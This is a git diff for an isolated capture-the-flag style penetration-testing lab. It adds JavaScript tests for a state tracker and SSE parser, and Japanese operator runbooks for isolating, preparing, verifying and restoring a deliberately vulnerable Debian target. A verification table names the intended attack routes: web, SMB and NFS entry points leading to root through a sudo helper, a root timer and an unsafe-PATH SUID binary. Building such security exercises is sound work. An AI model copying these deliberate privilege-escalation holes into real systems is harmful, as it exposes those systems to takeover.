+  const first = tracker.accept(projection());
+  assert.equal(first.changed, true);
+
+  const duplicate = tracker.accept(projection());
+  assert.equal(duplicate.changed, false);
+  assert.equal(duplicate.hash, first.hash);
+
+  const changed = projection({
+    revision: 1,
+    facts: [
+      {
+        id: "map-01",
+        label: "診断画面",
+        detail: "スタッフ向けの入口を確認した。",
+        icon: "browser",
+      },
+    ],
+    graph: {
+      nodes: [
+        {
+          id: "map-01",
+          state: "discovered",
+          label: "診断画面",
+          detail: "スタッフ向けの入口を確認した。",
+          icon: "browser",
+          kind: "entrance",
+          progress: "発見済み",
+        },
+        { id: "map-02", state: "undiscovered" },
+        { id: "map-03", state: "undiscovered" },
+      ],
+      edges: [],
+    },
+    progress: { discovered: 1, total: 14 },
+  });
+  assert.equal(tracker.accept(changed).changed, true);
+  assert.equal(tracker.current.revision, 1);
+
+  assert.throws(
+    () => tracker.accept(projection()),
+    ProjectionRollbackError,
+  );
+});
+
+test("projection tracker rejects changed payload or session at one revision", () => {
+  const tracker = new ProjectionTracker();
+  tracker.accept(projection());
+
+  const conflict = projection();
+  conflict.hypotheses[0].summary = "同じrevisionなのに内容が違う。";
+  assert.throws(
+    () => tracker.accept(conflict),
+    ProjectionConflictError,
+  );
+
+  const otherSession = projection({ sessionId: "exercise-other-002" });
+  assert.throws(
+    () => tracker.accept(otherSession),
+    ProjectionConflictError,
+  );
+});
diff --git a/labs/open-world-target/bridge/tests/sse.test.mjs b/labs/open-world-target/bridge/tests/sse.test.mjs
new file mode 100644
index 0000000..c61dd3b
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/sse.test.mjs
@@ -0,0 +1,96 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { shouldReconnect } from "../src/bridge.mjs";
+import { BridgeError } from "../src/errors.mjs";
+import {
+  ProjectionConflictError,
+  ProjectionRollbackError,
+} from "../src/projection-state.mjs";
+import {
+  parseProjectionFrame,
+  parseSseStream,
+  reconnectDelay,
+} from "../src/sse.mjs";
+import { projection } from "./helpers.mjs";
+
+function streamFrom(chunks) {
+  const encoder = new TextEncoder();
+  return new ReadableStream({
+    start(controller) {
+      for (const chunk of chunks) controller.enqueue(encoder.encode(chunk));
+      controller.close();
+    },
+  });
+}
+
+test("SSE parser accepts split full state frames and comments", async () => {
+  const payload = JSON.stringify(projection());
+  const split = Math.floor(payload.length / 2);
+  const frames = [];
+  for await (const frame of parseSseStream(
+    streamFrom([
+      ": keepalive\n\nid: 0\nevent: state\ndata: ",
+      payload.slice(0, split),
+      `${payload.slice(split)}\n\n`,
+    ]),
+  )) {
+    frames.push(frame);
+  }
+
+  assert.equal(frames.length, 1);
+  assert.equal(frames[0].event, "state");
+  assert.equal(parseProjectionFrame(frames[0]).sessionId, "exercise-test-001");
+});
+
+test("SSE frame rejects an id that disagrees with revision", () => {
+  assert.throws(
+    () =>
+      parseProjectionFrame({
+        event: "state",
+        id: "2",
+        data: JSON.stringify(projection({ revision: 1 })),
+      }),
+    /does not match/,
+  );
+  assert.equal(
+    parseProjectionFrame({ event: "detector", id: "", data: "{}" }),
+    null,
+  );
+});
+
+test("reconnect decisions distinguish transport rollback from conflict", () => {
+  assert.equal(
+    shouldReconnect(
+      new BridgeError("network", "temporary", { retryable: true }),
+    ),
+    true,
+  );
+  assert.equal(
+    shouldReconnect(new ProjectionRollbackError("rollback")),
+    true,
+  );
+  assert.equal(
+    shouldReconnect(new ProjectionConflictError("conflict")),
+    false,
+  );
+  assert.equal(
+    shouldReconnect(new BridgeError("invalid", "fatal")),
+    false,
+  );
+});
+
+test("exponential reconnect delay stays bounded with deterministic jitter", () => {
+  assert.equal(
+    reconnectDelay(0, { baseMs: 500, maxMs: 30_000, random: () => 0.5 }),
+    500,
+  );
+  assert.equal(
+    reconnectDelay(3, { baseMs: 500, maxMs: 30_000, random: () => 0.5 }),
+    4_000,
+  );
+  assert.equal(
+    reconnectDelay(20, { baseMs: 500, maxMs: 30_000, random: () => 1 }),
+    30_000,
+  );
+});
diff --git a/labs/open-world-target/operator/.gitignore b/labs/open-world-target/operator/.gitignore
new file mode 100644
index 0000000..43ae0e2
--- /dev/null
+++ b/labs/open-world-target/operator/.gitignore
@@ -0,0 +1,2 @@
+__pycache__/
+*.py[cod]
diff --git a/labs/open-world-target/operator/DAY-OF.md b/labs/open-world-target/operator/DAY-OF.md
new file mode 100644
index 0000000..4946e42
--- /dev/null
+++ b/labs/open-world-target/operator/DAY-OF.md
@@ -0,0 +1,182 @@
+# Day-of operation
+
+## 開始前
+
+標的とKaliの電源を入れる前に次を目視します。
+
+- recovery USB、backup disk、会社LAN cableは標的から外れている。
+- 接続は標的とKaliを結ぶ専用Ethernet 1本だけ。
+- 完全オフラインならKali実機のWi-Fi、Bluetooth、他Ethernetをoff。
+- 公開guideを使う場合だけKaliの別Wi-FiまたはVMの別WAN adapterを外向きHTTPS用に使い、
+  IPv4/IPv6 forwarding、NAT、Ethernet↔WAN転送を無効にする。
+- Kali VMのUSB Ethernetは専有し、host、bridge、host-onlyと共有しない。
+- 標的はDebian maintenanceでbootし、Windowsやexercise serviceは起動していない。
+- 参加者へ「指定標的`10.13.37.10`以外をscanしない」と説明した。
+
+対象ノートのDebianで、mode切替とready preflightの前にlive identityを読みます。
+
+```text
+. /etc/os-release
+printf 'ID=%s VERSION_ID=%s\n' "$ID" "$VERSION_ID"
+dpkg --print-architecture
+uname -m
+```
+
+`ID=debian VERSION_ID=13`、`amd64`、`x86_64`以外なら中止します。これはKaliやrecovery USBの
+判定ではなく、演習対象Debianだけに対するgateです。
+
+Kali側は`ip address`、`ip route`、`cat /etc/resolv.conf`を読み、exercise Ethernetにdefault
+gatewayやDNSが付いていないことを確認します。公開guide利用時のdefault route/DNSは別WAN interfaceだけに
+属し、`net.ipv4.ip_forward=0`、IPv6 forwarding無効、NAT ruleなしである証跡を残します。VM host側も
+USB Ethernetがhostと共有されていない証跡を残します。
+
+## Exerciseへ入る
+
+最初はplanだけを表示します。
+
+```text
+sudo open-world-platform mode \
+  --profile /etc/open-world-lab/profile.json \
+  --to exercise
+```
+
+planが「lab停止→maintenance connectivity停止→radio block→他NIC down→wired設定→sysctl→
+exercise firewall」の順で、NIC名がprofileと一致するときだけ適用します。
+直結Ethernetの設定はmode controllerの直接`ip`操作だけが所有します。
+`systemd-networkd.service`がmasked/inactiveで、未使用の`.network`設定が直結NICを管理していないことも
+確認します。
+
+```text
+sudo open-world-platform mode \
+  --profile /etc/open-world-lab/profile.json \
+  --to exercise \
+  --confirm "ENTER EXERCISE MODE" \
+  --apply
+```
+
+続けてlive preflightを実行します。
+
+```text
+sudo open-world-platform preflight \
+  --profile /etc/open-world-lab/profile.json \
+  --mode exercise \
+  --stage ready
+```
+
+`passed: true`に加え、Kaliから次を確認します。
+
+- DHCP addressは`10.13.37.100`〜`10.13.37.199`。
+- DHCPでrouter、DNS server、search domainを受け取らない。
+- `ping 10.13.37.10`へ応答する。
+- exercise Ethernetにはdefault routeとDNSがない。
+- scan対象は`10.13.37.10`だけで、公開TCP portは22、80、445、2049、8787、
+  公開UDP portは67だけ。53と8080はTCP/UDPとも閉じている。
+- `nmbd.service`はinactive/maskedで、139/TCPと137-138/UDPは待受しない。
+- target内部ではNFSv4 auth cache用mountdが20048/TCPで待受してもよいが、
+  `rpcbind.service`/`.socket`とstatd unitはmasked、111/random NSM portは非待受、20048は
+  直結側nftablesでdropされ、Kali scanへ公開されない。
+- targetから外部IP、外部DNS、会社LANへ到達しない。
+
+公開guideを使う場合は、Kaliだけで実在するVercel URLとBridgeを使います。対象Debianで生成した
+`TELEMETRY_BRIDGE_TOKEN`は、本文をlogや証跡へ残さない運営者管理の経路でKaliへ渡します。
+`BRIDGE_DEPLOYMENT_TOKEN`もroot-only環境で用意し、次のplaceholderを実値へ置き換えます。
+
+```text
+export LAB_PUBLIC_ORIGIN='https://exam-server-one.vercel.app/lab'
+export BRIDGE_CLOUD_ORIGIN='https://exam-server-one.vercel.app'
+export BRIDGE_TARGET_ORIGIN='http://10.13.37.10:8787'
+read -rsp 'Cloud deployment token: ' BRIDGE_DEPLOYMENT_TOKEN
+export BRIDGE_DEPLOYMENT_TOKEN
+printf '\n'
+read -rsp 'Target telemetry token: ' BRIDGE_TARGET_TOKEN
+export BRIDGE_TARGET_TOKEN
+printf '\n'
+cd labs/open-world-target/bridge
+npm start
+```
+
+標準出力のpairing codeとviewer URLだけを参加者へ渡し、viewer URLのoriginが
+`LAB_PUBLIC_ORIGIN`と一致することを確認します。tokenは表示・転記しません。Debianへ公開guideの
+DNS名、build成果物、server、serviceを置きません。
+
+完全オフライン演習ではBridge/Vercelを使わず、build済みguideをKali上のloopbackだけで起動します。
+同じ`BRIDGE_TARGET_TOKEN`をserver側だけに保持し、ブラウザへ渡しません。
+
+```text
+cd REPOSITORY_ROOT
+read -rsp 'Target telemetry token: ' BRIDGE_TARGET_TOKEN
+export BRIDGE_TARGET_TOKEN
+printf '\n'
+LAB_GUIDE_HOST=127.0.0.1 \
+LAB_GUIDE_PORT=8080 \
+LAB_TELEMETRY_HOST=10.13.37.10 \
+LAB_TELEMETRY_PORT=8787 \
+node apps/lab-guide/server/index.mjs
+```
+
+Kali自身のブラウザで`http://127.0.0.1:8080/?local=1`を開きます。このlocal-only fallbackを
+`0.0.0.0`、Kali Ethernet address、Debian、参加者LANへbindしません。
+
+target側のready preflightでは`open-world-file-watch.service`、dnsmasqがactiveで、
+dnsmasq leaseの専用directory/file権限、exact single-config override、`port=0`、空のrouter/DNS
+optionが正しくなければ失敗します。file watcherは固定allowlist pathのinotify eventを
+固定教材eventへ変換するだけで、raw syscall record、command、任意path、file contentを保存・配信しません。
+watcherまたはtelemetry socketが起動しない場合は自動eventを推測で補完せず、演習を止めます。
+同じpreflightはprofileのWindows PARTUUIDが`/mnt/windows`へ`ntfs3`の
+`ro,nosuid,nodev,noexec`でmountされ、`mnt-windows.mount`がactiveであることも要求します。
+参加者はWindows bonusをこのread-only mountから探します。
+
+active probeは実機証跡であり、自動testの代用にしません。
+
+## 停止条件
+
+次のどれかがあれば参加者操作を止め、LAN cableを抜きます。
+
+- target、またはKaliのexercise Ethernetに外部/default routeが現れた。
+- targetのWi-Fi、WWAN、Bluetooth、別NICがactiveになった。
+- Kaliでforwarding、NAT、exercise Ethernet↔WAN転送が有効になった。
+- 想定外portまたは会社LAN/第三者addressへのpacketを観測した。
+- paired guideまたはKali local fallbackと標的状態が一致せず、誤対象の可能性がある。
+- target disk、Windows、EFIへ想定外の書き込みが見えた。
+- root取得後に次の参加者へそのまま渡そうとしている。
+
+## Maintenanceへ戻す
+
+root取得後のDebian内でresetやclean-upを行いません。演習を止めるためのmode遷移だけを行い、
+その後は信頼済みrecovery mediaへbootします。
+
+```text
+sudo open-world-platform mode \
+  --profile /etc/open-world-lab/profile.json \
+  --to maintenance \
+  --confirm "ENTER MAINTENANCE MODE" \
+  --apply
+```
+
+vulnerable、telemetry service/socket、file watcher、DHCP、nmbd、
+`mnt-windows.mount`がすべてinactiveで
+quarantineになったことを確認します。これは封じ込めと停止のためだけで、exercise後のOSを
+信頼済みmaintenance環境へ戻す操作ではありません。任意のroot payloadが残り得るため、このbootでは
+Wi-Fiや他の外部接続を絶対に有効化せず、そのまま電源を切って信頼済みrecovery mediaからrestoreします。
+
+次の操作は、exercise開始前またはtrusted recovery直後のclean golden stateで更新が本当に必要な場合だけ
+使います。未消費fresh markerとsession/state不在が必須で、exercise後は実行禁止です。
+実行前に標的とKaliを結ぶ専用Ethernet cableを物理的に両端から抜き、link LEDが消えたことを
+確認します。profileのwired NICがdown、carrierなし、addressなしで、NetworkManagerの
+`unmanaged-devices`対象になっていなければ`connectivity-on`は拒否されます。外したcableを
+保守接続中に挿し直しません。
+`systemd-networkd.service`もmasked/inactiveのままにし、direct `ip` ownerと競合する
+`.network`設定を再導入しません。
+
+```text
+sudo open-world-platform mode \
+  --profile /etc/open-world-lab/profile.json \
+  --to connectivity-on \
+  --confirm "ENABLE MAINTENANCE CONNECTIVITY" \
+  --apply
+```
+
+planの先頭がprofile wired NICのdown/address flushで、その後にhost firewall、Wi-Fi、
+NetworkManagerの順であることも確認します。更新終了後は`connectivity-off`でWi-Fiを止め、
+default routeと外部DNSが消えた証跡を取ります。
+次回演習用golden restoreは[RECOVERY.md](RECOVERY.md)に従います。
diff --git a/labs/open-world-target/operator/PACKAGE-BOOTSTRAP.md b/labs/open-world-target/operator/PACKAGE-BOOTSTRAP.md
new file mode 100644
index 0000000..0b8530a
--- /dev/null
+++ b/labs/open-world-target/operator/PACKAGE-BOOTSTRAP.md
@@ -0,0 +1,59 @@
+# Offline package bootstrap
+
+Platform overlayがまだないclean Debianでは、maintenance targetもquarantine tableも存在しません。
+この段階でtetheringやLANを使う手順はsupportedではありません。公式Debian 13 amd64の完全な
+DVD set、または同じsigned Debian repositoryから組織内で作ったread-only offline apt mediaだけを
+使います。DVD 1枚だけに全packageがあるとは仮定しません。
+
+## Media gate
+
+運営用workstationでDebian公式のchecksum/signatureを検証し、必要なDVDをすべて用意します。
+対象ノートではinstaller時からnetwork mirrorを選ばず、Ethernetを抜き、Wi-Fi/WWAN/Bluetoothを
+offにします。会社LAN、家庭LAN、tetheringへ接続しません。
+
+## Daemon autostart guard
+
+`/usr/sbin/policy-rc.d`が既に存在する場合は上書きせず中止し、由来を調査します。存在しない場合だけ、
+このdirectoryの`policy-rc.d`を対象へcopyし、内容を目視してから次を実行します。
+
+```text
+sudo install -o root -g root -m 0755 policy-rc.d /usr/sbin/policy-rc.d
+```
+
+各公式DVDを`apt-cdrom add`で登録し、platform overlay内の
+`usr/local/share/open-world-lab/packages.txt`にあるpackageをoffline mediaから導入します。
+aptがnetwork sourceを要求したら接続せず中止し、次の署名済みDVD/mediaを用意します。
+
+package導入後もcable/radioはoffのまま、package serviceをすべて停止します。特にApache、SSH、
+Samba (`smbd`/`nmbd`)、NFS、dnsmasq、rpcbind/statd、NetworkManager、wpa_supplicant、
+systemd-resolved、`open-world-file-watch.service`がactiveでないことを確認します。overlay適用前に
+競合するnetwork ownerとraw audit consumerも一時停止します。`auditd.service`が導入済みの場合だけ
+`service`経由で停止し、次の確認がすべて`inactive`（または未導入の`auditd`だけ`not-found`）になるまで
+inventoryへ進みません。overlay適用時にこれらはmaskされます。
+
+```text
+sudo systemctl stop systemd-networkd.service systemd-journald-audit.socket
+if systemctl cat auditd.service >/dev/null 2>&1; then sudo service auditd stop; fi
+systemctl is-active systemd-networkd.service systemd-journald-audit.socket auditd.service
+```
+
+全非loopback NICをdownにし、default route、外部DNS、非loopback listenerがない状態をinventoryへ保存します。
+
+```text
+sudo python -m open_world_platform.cli inventory \
+  --profile ACTUAL_PROFILE.json \
+  --boot-environment installed-debian \
+  --output ACTUAL_BOOTSTRAP_INVENTORY.json
+```
+
+inventoryの`packages`がmanifest全件`true`でなければplatform installは拒否します。初回だけは
+`bootEnvironment=installed-debian`を許しますが、exact disk/root/PARTUUIDに加えて上記offline状態を
+すべてlive確認できる場合に限ります。さらにinventoryの`platformIdentity`が
+`ID=debian`、`VERSION_ID=13`、`dpkgArchitecture=amd64`、`kernelMachine=x86_64`でなければ拒否します。
+まずdry-runを確認し、その後に完全な確認文と`--apply`を使います。
+適用は最初にquarantineを起動し、以後の通常操作は`installed-debian-maintenance`だけを許します。
+
+overlay適用が成功し、boot quarantineとmaintenance targetがactive、全lab/connectivity serviceが
+inactiveであることを確認した後だけ、一時`policy-rc.d`が配布版とbyte-for-byte同じことを比較して
+削除します。比較できない、途中で失敗した、serviceが起動した場合は削除せず、networkを接続せずに
+記録を保全します。
diff --git a/labs/open-world-target/operator/PHYSICAL-VERIFICATION.md b/labs/open-world-target/operator/PHYSICAL-VERIFICATION.md
new file mode 100644
index 0000000..5707014
--- /dev/null
+++ b/labs/open-world-target/operator/PHYSICAL-VERIFICATION.md
@@ -0,0 +1,74 @@
+# Physical verification matrix
+
+software testは実機の代わりになりません。各行をfresh restoreから開始し、root取得後はそのDebianを
+再利用せず、次の行の前にnormal recoveryを通します。
+
+| ID | Entrance | Foothold | Root path | Status |
+|---|---|---|---|---|
+| WEB-SUDO | Web diagnostics | `www-data` | sudo helper | NOT RUN |
+| WEB-TIMER | Web diagnostics | `www-data` | root timer | NOT RUN |
+| WEB-SUID | Web diagnostics | `www-data` | unsafe PATH SUID | NOT RUN |
+| SMB-SUDO | SMB backup | `sales` | sudo helper | NOT RUN |
+| SMB-TIMER | SMB backup | `sales` | root timer | NOT RUN |
+| SMB-SUID | SMB backup | `sales` | unsafe PATH SUID | NOT RUN |
+| NFS-SUDO | NFS share | `mechanic` | sudo helper | NOT RUN |
+| NFS-TIMER | NFS share | `mechanic` | root timer | NOT RUN |
+| NFS-SUID | NFS share | `mechanic` | unsafe PATH SUID | NOT RUN |
+
+各rowの合格証跡:
+
+- recovery kit manifest hashとnormal recovery結果
+- exercise preflight JSON
+- target/KaliのNIC、route、DNS、rfkill状態
+- 許可portだけのscan結果
+- SMBは445/TCPだけで、nmbdがinactive/masked、139/TCPと137-138/UDPが非待受である証跡
+- dnsmasqの実効userが`dnsmasq`で、lease directory/fileが`dnsmasq:root 0750`/`0640`であり、
+  DHCPがaddressだけを配りrouter、DNS server、search domainを広告しない証跡
+- dnsmasqが`port=0`でTCP/UDP 53をlistenせず、外向きDNS packetを送らない証跡
+- rpcbind service/socketとstatd unitがmasked、111/random NSM非待受、mountd/20048が直結側から到達不能、
+  NFSv4/2049だけが利用可能である証跡
+- `open-world-nfs-watch.service`がactiveで、NFS経由のflag readを一度だけ自動event化した証跡
+- `open-world-file-watch.service`がactiveで、固定allowlist pathだけのinotify eventを一度だけ
+  固定教材event化した証跡。raw syscall record、command、任意path、file contentは保存しない
+- 実UID/GIDで、Web/SMB low emitterはlow keyだけ、telemetry daemonはlow/root両keyを読め、
+  一般userはどちらも読めない権限証跡（鍵本文は保存しない）
+- foothold userとroot identityを示すsynthetic evidence code
+- 入口、foothold、root clue、root route、common rootのflag event
+- `LAB_PUBLIC_ORIGIN`とpairing code、またはKali local-only fallbackへの2秒以内の反映時刻
+- target telemetryのstate/eventsと固定操作が正しいBearerなしでは401になる証跡
+- maintenance遷移とrestore後の残留検査
+
+raw command、HTTP parameter、credential、flag本文、terminal historyは証跡へ保存しません。event ID、
+node ID、evidence code、timestamp、写真/画面の保管先だけを記録します。
+
+全体gate:
+
+| Gate | Status |
+|---|---|
+| Debian 13 / Windows dual boot | NOT RUN |
+| Debian 13 amd64 live identity (`ID=debian`、`VERSION_ID=13`、`amd64`、`x86_64`) | NOT RUN |
+| Windows system volume fully decrypted | NOT RUN |
+| Windows hibernation and Fast Startup disabled | NOT RUN |
+| Windows exact-PARTUUID read-only mount | NOT RUN |
+| Exercise wired-only isolation | NOT RUN |
+| dnsmasq DHCP-only / DNS listener disabled | NOT RUN |
+| Target telemetry Bridge bearer authentication | NOT RUN |
+| SMB TCP/445 only and nmbd masked | NOT RUN |
+| dnsmasq lease runtime permissions | NOT RUN |
+| NFSv4-only/rpcbind socket isolation | NOT RUN |
+| NFS watcher event delivery | NOT RUN |
+| Windows flag absent from Debian root | NOT RUN |
+| Event-key access by installed UID/GID | NOT RUN |
+| Fixed-path file watcher event delivery | NOT RUN |
+| Maintenance direct-link cable disconnected and unmanaged | NOT RUN |
+| systemd-networkd masked; direct `ip` is sole Ethernet owner | NOT RUN |
+| Maintenance Wi-Fi firmware and tethering | NOT RUN |
+| 9 route combinations | NOT RUN |
+| 14 flags reset after recovery | NOT RUN |
+| Debian normal recovery | NOT RUN |
+| Golden Debian Btrfs UUID preserved | NOT RUN |
+| EFI Microsoft tree unchanged | NOT RUN |
+| Offline Windows boot after recovery | NOT RUN |
+| Full-disk fallback rehearsal | NOT RUN |
+
+`NOT RUN`、`BLOCKED`、`FAILED`を`PASSED`として扱いません。写真やlogのない口頭確認も合格にしません。
diff --git a/labs/open-world-target/operator/PREPARE-TARGET.md b/labs/open-world-target/operator/PREPARE-TARGET.md
new file mode 100644
index 0000000..3be0f4c
--- /dev/null
+++ b/labs/open-world-target/operator/PREPARE-TARGET.md
@@ -0,0 +1,277 @@
+# Target preparation
+
+## 1. 書き込み前gate
+
+次が一つでも満たせなければpartition操作を止めます。
+
+- 対象ノートの型番、UEFI/GPT、内蔵diskのby-id・serial・WWN・sizeを記録した。
+- Windowsの回復手段とbare-metal backupを別mediaで実際に読めた。
+- Windows system volumeはBitLocker/device encryptionを「一時停止」ではなく完全復号し、
+  `manage-bde -status C:`で`Fully Decrypted`かつ`0.0%`を確認した。
+- WindowsのhibernationとFast Startupを両方無効化し、再起動後も無効である証跡を取った。
+- Windows側のdisk管理でDebian用80GB以上を「未割り当て」にした。
+- Windowsはofflineかつsacrificialで、実data、browser login、保存credentialを持たない。
+- 使用USBのhealth/full-capacity testが合格した。warning/error mediaは使わない。
+- Debian installerとbackupのSHA-256を別経路の記録と照合した。
+
+自動partition scriptは提供しません。Debian 13 installerのmanual partitioningで、記録済みの
+未割り当て領域だけにBtrfs rootを作ります。ESPは既存partitionをformatせず`/boot/efi`へ使い、
+Windows partitionを変更対象に選びません。確認画面の変更予定を撮影し、別の運営者がdisk sizeと
+partitionを照合してから進めます。
+
+installerと手順の正本は[Debian 13 amd64 installation guide](https://www.debian.org/releases/trixie/amd64/)
+です。第三者の再配布imageや自動partition recipeへ置き換えません。
+
+### Windowsをgoldenにする前の確認
+
+Windowsはこの演習だけに使うsacrificial installにします。設定の「デバイスの暗号化」または
+「BitLockerの管理」でsystem volumeの暗号化をオフにし、復号が完了するまで待ちます。
+保護の一時停止や`Protection Off`だけでは合格にしません。管理者Terminalで次を実行します。
+
+```text
+manage-bde.exe -status C:
+powercfg.exe /hibernate off
+reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
+powercfg.exe /availableSleepStates
+reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled
+```
+
+`manage-bde`は`Conversion Status: Fully Decrypted`、`Percentage Encrypted: 0.0%`でなければ中止します。
+`powercfg`ではhibernationが利用不能、registryは`HiberbootEnabled REG_DWORD 0x0`であることを確認します。
+既存の回復keyは復号とbare-metal backupの検証が終わるまで別mediaで保管し、証跡へkey本文を残しません。
+いったん再起動して同じ確認を繰り返し、最後は`shutdown.exe /s /t 0`で完全shutdownします。
+
+## 2. Debian golden state
+
+- Debian 13 amd64 minimalをUEFI modeで導入する。
+- Btrfsのroot subvolume名を`@`にする。
+- hostname、user、fixture dataは架空名だけにする。
+- EthernetとWi-Fiを物理的に外したまま、platform manifestのpackageを導入する。
+- package導入中にdaemonを外部へ公開しない。初期構築だけはservice autostartを抑止し、完了後に
+  platform overlayを適用してboot quarantineと明示的なdisable状態を確認する。
+- worldとtelemetryのunit名がplatform manifestのprovider表と一致することを確認する。
+- `/etc/default/grub.d/90-open-world-root.cfg`を適用して`update-grub`を実行する。生成された
+  `/boot/grub/grub.cfg`のroot指定はDebian `PARTUUID`または`LABEL=open-world-lab`で、
+  `root=UUID=`ではないことを確認する。
+- golden snapshotと`EFI/debian` archiveを作る直前にDebian Btrfsの完全なfilesystem UUIDを
+  `findmnt -no UUID /`と`blkid`で照合し、
+  `recovery.goldenBtrfsStream.filesystemUuid`へ記録する。以後snapshot/EFI archiveと別々に
+  更新しない。
+
+### 対象Debianのlive identity gate
+
+`install`、`install-target`、mode切替、ready preflightを行う対象OSは、必ず**対象ノート上で起動した
+Debian 13 amd64**です。次を読み取り、4値が完全一致しなければ、planでも適用でも中止します。
+
+```text
+. /etc/os-release
+printf 'ID=%s VERSION_ID=%s\n' "$ID" "$VERSION_ID"
+dpkg --print-architecture
+uname -m
+```
+
+期待値は順に`ID=debian VERSION_ID=13`、`amd64`、`x86_64`です。似たDebian系OS、別release、arm64、
+container/chrootの表示を推測で通しません。inventoryにもこの読み取り値を残し、運営者二人でprofileの
+disk/PARTUUID照合と合わせて確認します。
+
+package取得のsupported pathは[PACKAGE-BOOTSTRAP.md](PACKAGE-BOOTSTRAP.md)の署名済みoffline
+apt mediaだけです。overlay前の一時tetheringやLAN接続は行いません。
+
+## 3. 実機profile
+
+`platform/profile.example.json`をコピーし、read-only commandの出力から埋めます。
+
+```text
+lsblk --json --bytes --output PATH,TYPE,SERIAL,WWN,SIZE,PARTUUID,MOUNTPOINTS
+ls -l /dev/disk/by-id/
+ip -json link show
+```
+
+`/dev/sda`や画面上のdisk番号はprofileへ使いません。wired interfaceはMAC addressと組で記録します。
+profileにsecretやWi-Fi passwordは保存しません。
+
+## 4. Wi-Fi maintenance gate
+
+保守接続のownerはNetworkManager＋wpa_supplicantです。次を実機で確認するまで
+`connectivity-on`を合格にしません。
+
+- 対象Wi-Fi chipsetと必要firmwareがDebian 13で認識される。
+- personal tetheringだけへ接続でき、会社LANや保存済みSSIDへ自動接続しない。
+- credentialはNetworkManagerのroot-only接続として置き、recovery imageへ平文転記しない。
+- `connectivity-off`後にWi-Fiがrfkillされ、default routeと外部DNSが消える。
+- Wi-Fi有効中も全lab serviceがinactiveのままである。
+- `connectivity-on`前に直結Ethernet cableを物理的に抜き、profile wired NICがdown、
+  carrierなし、addressなしである。NetworkManagerでは同NICを明示的にunmanagedにする。
+- 直結Ethernetのownerはmode controllerの直接`ip`操作だけにする。未使用の
+  `systemd-networkd` `.network`設定は残さず、`systemd-networkd.service`はmasked/inactiveである。
+- `connectivity-on`は未消費fresh markerがあり、session.env、session-id、telemetry stateがない
+  clean golden stateだけで使う。exerciseへ一度でも入った後はtrusted recoveryまで使わない。
+
+firmware不足、rfkill不能、勝手なauto-connectがあれば、有線offline maintenanceだけに戻します。
+
+## 5. Platform overlay install
+
+platform directoryで`validate`と`render`を行い、tree hashを別記録へ写します。最初の`install`は
+必ずdry-runにし、表示対象が記録済みdiskと3 PARTUUIDだけであることを二人で確認します。
+初回のclean Debianはmaintenance target未導入なので、`installed-debian`かつ厳密なoffline
+bootstrap inventoryを例外的に受け付けます。package全件installed、全service inactive、全radio
+blocked、全非loopback NIC down、route/外部DNS/非loopback listenerなしが一つでも崩れれば拒否します。
+`--apply`後は次を確認します。
+
+- `open-world-boot-quarantine.service`がactive/enabled。
+- `open-world-maintenance.target`がactive/enabled。
+- vulnerable、DHCP、telemetry、NetworkManager、wpa_supplicantがinactive。
+- `open-world-telemetry.socket`もinactive/disabled。
+- `nmbd.service`はinactive/maskedで、SambaはTCP/445だけに固定されている。
+- `systemd-networkd.service`はmasked/inactiveで、直結Ethernetに`.network`設定が残っていない。
+- `/run/open-world-dnsmasq`は`dnsmasq:root 0750`、lease fileは`dnsmasq:root 0640`。
+- 固定`ExecStart`の`--user=dnsmasq`により、daemonの実効userとlease所有者が一致する。
+- dnsmasqはDebian package helperをoverrideしてlab configだけを読み、`port=0`でDNS listenerを
+  無効化する。DHCPはaddressだけを配り、routerとDNS resolverを広告しない。
+- `/run/open-world-lab/exercise-ready`が存在しない。
+
+## 6. Target bundle build/install
+
+world fixtureとtelemetry runtimeを一つの検証可能bundleへまとめます。このbuildは
+運営用workstationで行い、出力先は存在しないか空のremovable operator media上directoryだけです。
+guide buildは入力にせず、平文Windows flagを含むrepositoryやbundleを対象Debianの内蔵filesystemへ
+置きません。
+
+```text
+cd labs/open-world-target/operator
+python build_target_bundle.py build \
+  --output ACTUAL_EMPTY_BUNDLE_DIRECTORY
+
+python build_target_bundle.py verify \
+  --bundle ACTUAL_EMPTY_BUNDLE_DIRECTORY
+```
+
+bundleはDebian用13 flags/runtime、Windows用1 flag、installer-private synthetic credentialを
+別roleで保持します。Windows artifactとcredentialはDebian rootへcopyされず、Debian runtimeには
+平文answerではなく一方向hash verifierだけが入ります。event HMAC keyはbundleに含めず、guarded
+install適用時だけ32 random bytes相当のASCIIとして生成します。
+
+対象Debianのmaintenance quarantineで、まず`install-target`を`--apply`なしで実行します。
+`ACTUAL_BUNDLE_SHA256`はbuild/verifyが返した`bundleManifestSha256`の完全値です。
+
+```text
+sudo open-world-platform install-target \
+  --profile /etc/open-world-lab/profile.json \
+  --bundle ACTUAL_BUNDLE_DIRECTORY \
+  --bundle-manifest-sha256 ACTUAL_BUNDLE_SHA256 \
+  --disk-by-id /dev/disk/by-id/ACTUAL_STABLE_ID \
+  --debian-partuuid ACTUAL_DEBIAN_PARTUUID \
+  --esp-partuuid ACTUAL_ESP_PARTUUID \
+  --windows-partuuid ACTUAL_WINDOWS_PARTUUID \
+  --confirm "INSTALL TARGET BUNDLE /dev/disk/by-id/ACTUAL_STABLE_ID" \
+  --inventory ACTUAL_INSTALL_INVENTORY.json
+```
+
+planのdisk/3 PARTUUID/hashを二人で照合してから同じ引数へ`--apply`を加えます。適用後に確認します。
+
+- telemetry service/socketを含むlab unitはdisabled/inactiveのまま。
+- `open-world-file-watch.service`は配置済みかつdisabled/inactiveで、exercise targetから必須起動される。
+  root所有のwatcherはbundleに固定したallowlist pathだけをinotifyで監視し、raw syscall record、
+  command、任意path、file contentを保存・配信しない。
+- `rpcbind.service`/`.socket`と不要な`rpc-statd.service`/`rpc-statd-notify.service`はmasked。
+  NFSはv4-onlyの2049/TCP、固定mountd 20048/TCPで、20048は直結側nftablesから明示dropされる。
+- `nmbd.service`はinactive/maskedで、`smbd`はTCP/445だけを使う。139/TCPと137-138/UDPは待受しない。
+- dnsmasq leaseの親directory/fileはそれぞれ`dnsmasq:root 0750`/`0640`。router optionと
+  DNS server optionは空で、search domainも配らない。
+- dnsmasqは`port=0`でTCP/UDP 53をlistenせず、package helper、暗黙の`/etc/dnsmasq.d`走査、
+  resolvconf、上流serverを使わない。
+- Apacheは`10.13.37.10:80`だけをlistenし、`000-default`はdisabled。
